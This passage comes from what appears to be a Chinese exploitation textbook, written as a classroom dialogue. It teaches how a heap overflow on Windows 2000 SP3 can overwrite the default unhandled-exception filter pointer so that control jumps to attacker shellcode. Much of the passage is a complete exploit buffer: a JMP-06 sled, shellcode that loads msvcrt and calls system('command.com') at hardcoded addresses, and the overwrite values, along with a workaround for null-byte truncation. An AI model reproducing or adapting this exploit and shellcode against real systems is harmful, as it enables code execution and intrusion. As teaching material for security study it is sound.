4.2.5 覆盖默认异常处理

“在堆栈溢出中已经讲过,SEH (Windows的结构化异常处理)是一种程序异常的处理机制,在Windows系统中,是按照链式层状结构组织的,如图4-16。”

“发生异常时,操作系统就会查找异常处理链表,找对应这种异常的处理程序;找到了对应的处理程序后,就去执行处理程序,以避免系统崩溃。”

“嗯,的确讲过。”大家都点点头。

“具体的说,其异常处理过程是:先找到fs:[0]中所包含的地址,这个地址存着上一层异常链指针,而在这个地址+4的地方存放着处理函数的地址,操作系统就自动跳到这个地址去执行异常处理函数。当这个函数无法对异常进行处理时,再根据上一层的异常链指针找到上一层的异常处理指针来处理。”

“上次堆栈溢出的时候,我们覆盖的是fs:[0],这里堆溢出也可以这样吗?”宇强插话问道。

“非常好!的确可以!覆盖的形式是这样的,如图4-17。”

“但是,”老师话锋一转,“这里的where需要是一个确切的地址值,fs:[0]对于单线程是比较固定的,但对于多线程却是不定的。”

“大家回想一下,我们在堆栈溢出中覆盖fs:[0]时,用的都是相对地址,从来没有使用过绝对地址。堆栈溢出中,覆盖SEH和跳转到ShellCode的示意图如图4-18。”

“我们把第一个异常处理程序地址覆盖成CALL EBX的地址。当异常发生时,就执行该地址内容——CALL EBX,而EBX正好在前面4个字节,我们把它改为JMP 04就可跳入ShellCode中了。”老师又解释了一遍。

“哦!我们当时只是知道fs:[0]离缓冲区有多远,要多少个无用字符填充才能到达,但的确不知道当时的fs:[0]究竟是多少啊!”大家说道。

“对!这里需要的是确切地址!用fs:[0]有时可以,有时就不行。”老师说。

“那怎么办呢?即使每次运行同一个程序,fs:[0]好像都要变啊!”同学们又疑惑了。

“呵呵,fs:[0]地址会变,但系统的默认异常处理函数却不会变!我们就使用它。”老师说道。

小知识:默认异常处理

当链表中所有的异常处理函数都无法处理异常时,系统就会使用默认异常处理指针来处理异常情况。

默认异常处理指针通过如下函数来设置:

SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter)

默认异常处理指针通过如下函数来调用:

LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

它负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错时显示错误对话框的原因。

“我们一起来看看吧!”老师说道,“用IDA打开kernel32分析,在Functions中选中‘SetUnhandledExceptionFilter’就会跳到如图4-19的代码。意思是把异常处理程序地址放入0x77EB63B4中,即Win2000 SP3默认异常的处理指针是0x77EC044c。”

“当有不能处理的异常发生时,系统调用UnhandledExceptionFilter函数,它其实就是call [0x77EC044c],即执行0x77EC044c指向的异常处理程序,那我们可以……”

“哦!我们可以把where赋成0x77EC044c!”

“对!我们把where覆盖成0x77EC044c,what覆盖成ShellCode的地址,如图4-20。”

“那执行了 mov[ecx],eax 后,0x77EC044c里就是我们ShellCode的地址。当发生异常时,系统会执行 call [0x77EC044c] ,当然就跳到我们的ShellCode中了。”

“Yeah!可以跳转了!”全班同学都很高兴。

“注意,这里有个小问题, mov[ecx],eax 后,跟着还有一句 mov [eax+4], ecx ,这样不但把shellcode地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,把Shellcode中的指令破坏了。”

“就是啊……”

“要解决这个问题,我们可以用 JMP 6 这样的指令来代替nop,这样就能跳过后面被破坏的字节。”

“现在回到我们的程序中,把它合起来吧!”老师说道,“先是208字节覆盖掉‘buf1’的空间和空堆的管理结构;然后是4字节ShellCode的地址,最后是4字节异常处理地址。如图4-21。”

“但这里的ShellCode的地址是多少呢?”宇强问道。

“问得好!”老师说,“我们先把ShellCode保存在‘mybuf’里面,所以直接把‘mybuf’的地址读出来填入即可。”

“哎哟!‘mybuf’是数组,那地址还是会变,还是不通用啊!”大家觉得很奇怪。

“嗯,这样做的确不通用,后面我们会改进的,这里先试试效果!”老师说道,“构造出来的‘mybuf’是这样的:”

char mybuf[240] = 
    "\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Jmp 06和NOPS 共101 bytes
    //下面是开DOS窗口的ShellCode,有107字节
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
    "\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
    "\x52\x8D\x45\xF4\x50" 
    "\xFF\x55\xF0"
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
    "\x50\xB8"
    "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3
    "\xFF\xD0" 
    //上面一共208字节, 接下来就是ShellCode地址和顶层异常处理地址
    "\x40\x60\x40\xFF\x4c\x04\xec\x77"

“运行报错,如图4-22。可以看到‘mybuf’的地址是0x00422A40,所以我们要把ShellCode的地址(即What的位置)赋成它。”

“注意啊!‘mybuf’的地址是有00的,strcpy拷贝字符串时就会被截断。所以我们先赋成ff,在main里面拷贝完成后,再把ff改回00。大家参看程序heapvul1Exp.c(光盘有收录)。编译并执行,弹出了一个DOS对话框,如图4-23。”

“哦!成功了!”

“虽然这个exp很简陋,但也是实际可用的雏形。我们继续讨论,改进利用方式!”

小知识:0x00和截断问题

关于ShellCode中含有0x00,并不是赋值时被截断,赋的值都会在内存里面。比如字符串0x0102000304,都会存进去;但在C语言中,字符串结束的标志是0x00,所以像使用strcpy函数时,就只拷贝到0x010200就结束,不会拷贝后面的0304;而改成memcpy直接拷贝内存字符串长度,就不会被00截断,网络传输时,像send函数也是发送指定长度的字符串,不会被00截断。